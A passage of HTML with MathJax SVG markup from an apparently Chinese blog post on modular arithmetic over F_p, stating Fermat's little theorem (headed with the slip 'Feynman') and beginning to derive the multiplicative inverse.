transform="translate(4918.9,0)"><path data-c="2264" d="M674 636Q682 636 688 630T694 615T687 601Q686 600 417 472L151 346L399 228Q687 92 691 87Q694 81 694 76Q694 58 676 56H670L382 192Q92 329 90 331Q83 336 83 348Q84 359 96 365Q104 369 382 500T665 634Q669 636 674 636ZM84 -118Q84 -108 99 -98H678Q694 -104 694 -118Q694 -130 679 -138H98Q84 -131 84 -118Z"></path></g><g data-mml-node="mi" transform="translate(5974.7,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(6781.4,0)"><path data-c="3C" d="M694 -11T694 -19T688 -33T678 -40Q671 -40 524 29T234 166L90 235Q83 240 83 250Q83 261 91 266Q664 540 678 540Q681 540 687 534T694 519T687 505Q686 504 417 376L151 250L417 124Q686 -4 687 -5Q694 -11 694 -19Z"></path></g><g data-mml-node="mi" transform="translate(7837.2,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(8340.2,0)"><path data-c="7D" d="M65 731Q65 745 68 747T88 750Q171 750 216 725T279 670Q288 649 289 635T291 501Q292 362 293 357Q306 312 345 291T417 269Q428 269 431 266T434 250T431 234T417 231Q380 231 345 210T298 157Q293 143 292 121T291 -28V-79Q291 -134 285 -156T256 -198Q202 -250 89 -250Q71 -250 68 -247T65 -230Q65 -224 65 -223T66 -218T69 -214T77 -213Q91 -213 108 -210T146 -200T183 -177T207 -139Q208 -134 209 3L210 139Q223 196 280 230Q315 247 330 250Q305 257 280 270Q225 304 212 352L210 362L209 498Q208 635 207 640Q195 680 154 696T77 713Q68 713 67 716T65 731Z"></path></g><g data-mml-node="mo" transform="translate(8840.2,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msub" transform="translate(9284.9,0)"><g data-mml-node="mo"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(811,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g><g data-mml-node="mo" transform="translate(10501.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container> 和 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="24.639ex" height="2.347ex" role="img" focusable="false" viewBox="0 -750 10890.6 1037.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mo" transform="translate(389,0)"><path data-c="7B" d="M434 -231Q434 -244 428 -250H410Q281 -250 230 -184Q225 -177 222 -172T217 -161T213 -148T211 -133T210 -111T209 -84T209 -47T209 0Q209 21 209 53Q208 142 204 153Q203 154 203 155Q189 191 153 211T82 231Q71 231 68 234T65 250T68 266T82 269Q116 269 152 289T203 345Q208 356 208 377T209 529V579Q209 634 215 656T244 698Q270 724 324 740Q361 748 377 749Q379 749 390 749T408 750H428Q434 744 434 732Q434 719 431 716Q429 713 415 713Q362 710 332 689T296 647Q291 634 291 499V417Q291 370 288 353T271 314Q240 271 184 255L170 250L184 245Q202 239 220 230T262 196T290 137Q291 131 291 1Q291 -134 296 -147Q306 -174 339 -192T415 -213Q429 -213 431 -216Q434 -219 434 -231Z"></path></g><g data-mml-node="mi" transform="translate(889,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(1695.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(2640.6,0)"><g data-mml-node="mi"><path data-c="2124" d="M39 -1Q29 9 29 12Q29 23 60 77T219 337L410 648H364Q261 648 210 628Q168 612 142 588T109 545T97 509T88 490Q85 489 80 489Q72 489 61 503L70 588Q72 607 75 628T79 662T81 675Q84 677 88 681Q90 683 341 683H592Q604 673 604 666Q604 662 412 348L221 37Q221 35 301 35Q406 35 446 48Q504 68 543 111T597 212Q602 239 617 239Q624 239 629 234T635 223Q635 215 621 113T604 8L597 1Q595 -1 317 -1H39ZM148 637L166 648H112V632Q111 629 110 622T108 612Q108 608 110 608T116 612T129 623T148 637ZM552 646Q552 648 504 648Q452 648 450 643Q448 639 266 343T77 37Q77 35 128 35H179L366 339L552 646ZM572 35Q581 89 581 97L561 77Q542 59 526 48L508 37L539 35H572Z"></path></g></g><g data-mml-node="mo" transform="translate(3585.3,0)"><path data-c="3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></g><g data-mml-node="mn" transform="translate(4141.1,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(4918.9,0)"><path data-c="2264" d="M674 636Q682 636 688 630T694 615T687 601Q686 600 417 472L151 346L399 228Q687 92 691 87Q694 81 694 76Q694 58 676 56H670L382 192Q92 329 90 331Q83 336 83 348Q84 359 96 365Q104 369 382 500T665 634Q669 636 674 636ZM84 -118Q84 -108 99 -98H678Q694 -104 694 -118Q694 -130 679 -138H98Q84 -131 84 -118Z"></path></g><g data-mml-node="mi" transform="translate(5974.7,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(6781.4,0)"><path data-c="3C" d="M694 -11T694 -19T688 -33T678 -40Q671 -40 524 29T234 166L90 235Q83 240 83 250Q83 261 91 266Q664 540 678 540Q681 540 687 534T694 519T687 505Q686 504 417 376L151 250L417 124Q686 -4 687 -5Q694 -11 694 -19Z"></path></g><g data-mml-node="mi" transform="translate(7837.2,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(8340.2,0)"><path data-c="7D" d="M65 731Q65 745 68 747T88 750Q171 750 216 725T279 670Q288 649 289 635T291 501Q292 362 293 357Q306 312 345 291T417 269Q428 269 431 266T434 250T431 234T417 231Q380 231 345 210T298 157Q293 143 292 121T291 -28V-79Q291 -134 285 -156T256 -198Q202 -250 89 -250Q71 -250 68 -247T65 -230Q65 -224 65 -223T66 -218T69 -214T77 -213Q91 -213 108 -210T146 -200T183 -177T207 -139Q208 -134 209 3L210 139Q223 196 280 230Q315 247 330 250Q305 257 280 270Q225 304 212 352L210 362L209 498Q208 635 207 640Q195 680 154 696T77 713Q68 713 67 716T65 731Z"></path></g><g data-mml-node="mo" transform="translate(8840.2,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msub" transform="translate(9284.9,0)"><g data-mml-node="mo"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mi" transform="translate(811,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g><g data-mml-node="mo" transform="translate(10501.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container>。<br>在 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container> 易猜的语境下，本文会省略运算符号的 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container> 下标。</p><h1 id="费曼小定理"><a href="#费曼小定理" class="headerlink" title="费曼小定理"></a>费曼小定理</h1><p>对于任意 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.72ex;" xmlns="http://www.w3.org/2000/svg" width="12.023ex" height="2.417ex" role="img" focusable="false" viewBox="0 -750 5314.3 1068.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(806.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(1751.6,0)"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D53D" d="M584 499Q569 490 566 490Q558 490 552 497T546 515Q546 535 533 559Q526 574 506 593T469 621Q415 648 326 648Q293 648 287 647T275 641Q264 630 263 617Q262 609 260 492V370L275 372Q323 376 350 392T393 441Q409 473 409 506Q409 529 427 529Q437 529 442 519Q444 511 444 362Q444 212 442 206Q436 197 426 197Q409 197 409 217Q409 265 375 299Q346 328 280 335H260V206Q260 70 262 63Q265 46 276 41T326 35Q362 35 366 28Q377 17 366 3L360 -1H24Q12 5 12 16Q12 35 51 35Q92 38 97 52Q102 60 102 341T97 632Q91 645 51 648Q12 648 12 666Q12 675 24 683H573Q576 678 584 670V499ZM137 341Q137 131 136 89T130 37Q129 36 129 35H182Q233 35 233 39Q226 54 225 92T224 346L226 623L231 635L235 648H129Q132 641 133 638T135 603T137 517T137 341ZM549 603V648H495L506 641Q531 621 533 619L549 603ZM409 317V395L400 386Q390 376 375 366L357 355L373 346Q394 331 397 328L409 317Z"></path></g><g data-mml-node="mi" transform="translate(644,-176.7) scale(0.707)"><text data-variant="double-struck" transform="scale(1,-1)" font-size="884px">𝕡</text></g></g></g><g data-mml-node="mo" transform="translate(3092,0)"><path data-c="2216" d="M56 731Q56 740 62 745T75 750Q85 750 92 740Q96 733 270 255T444 -231Q444 -239 438 -244T424 -250Q414 -250 407 -240Q404 -236 230 242T56 731Z"></path></g><g data-mml-node="mo" transform="translate(3814.3,0)"><path data-c="7B" d="M434 -231Q434 -244 428 -250H410Q281 -250 230 -184Q225 -177 222 -172T217 -161T213 -148T211 -133T210 -111T209 -84T209 -47T209 0Q209 21 209 53Q208 142 204 153Q203 154 203 155Q189 191 153 211T82 231Q71 231 68 234T65 250T68 266T82 269Q116 269 152 289T203 345Q208 356 208 377T209 529V579Q209 634 215 656T244 698Q270 724 324 740Q361 748 377 749Q379 749 390 749T408 750H428Q434 744 434 732Q434 719 431 716Q429 713 415 713Q362 710 332 689T296 647Q291 634 291 499V417Q291 370 288 353T271 314Q240 271 184 255L170 250L184 245Q202 239 220 230T262 196T290 137Q291 131 291 1Q291 -134 296 -147Q306 -174 339 -192T415 -213Q429 -213 431 -216Q434 -219 434 -231Z"></path></g><g data-mml-node="mn" transform="translate(4314.3,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g><g data-mml-node="mo" transform="translate(4814.3,0)"><path data-c="7D" d="M65 731Q65 745 68 747T88 750Q171 750 216 725T279 670Q288 649 289 635T291 501Q292 362 293 357Q306 312 345 291T417 269Q428 269 431 266T434 250T431 234T417 231Q380 231 345 210T298 157Q293 143 292 121T291 -28V-79Q291 -134 285 -156T256 -198Q202 -250 89 -250Q71 -250 68 -247T65 -230Q65 -224 65 -223T66 -218T69 -214T77 -213Q91 -213 108 -210T146 -200T183 -177T207 -139Q208 -134 209 3L210 139Q223 196 280 230Q315 247 330 250Q305 257 280 270Q225 304 212 352L210 362L209 498Q208 635 207 640Q195 680 154 696T77 713Q68 713 67 716T65 731Z"></path></g></g></g></svg></mjx-container>，满足<br><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="8.382ex" height="2.185ex" role="img" focusable="false" viewBox="0 -883.9 3704.9 965.9"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,413) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(503,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(1281,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g><g data-mml-node="mo" transform="translate(2149.1,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(3204.9,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container></p><h2 id="乘法逆等价表达式"><a href="#乘法逆等价表达式" class="headerlink" title="乘法逆等价表达式"></a>乘法逆等价表达式</h2><p>根据上述定理，可得 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="34.469ex" height="2.072ex" role="img" focusable="false" viewBox="0 -833.9 15235.3 915.9"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mo"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(778,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g><g data-mml-node="mo" transform="translate(1793.5,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="msup" transform="translate(2849.2,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mo"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(778,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g><g data-mml-node="mo" transform="translate(4587.1,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mn" transform="translate(5587.4,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 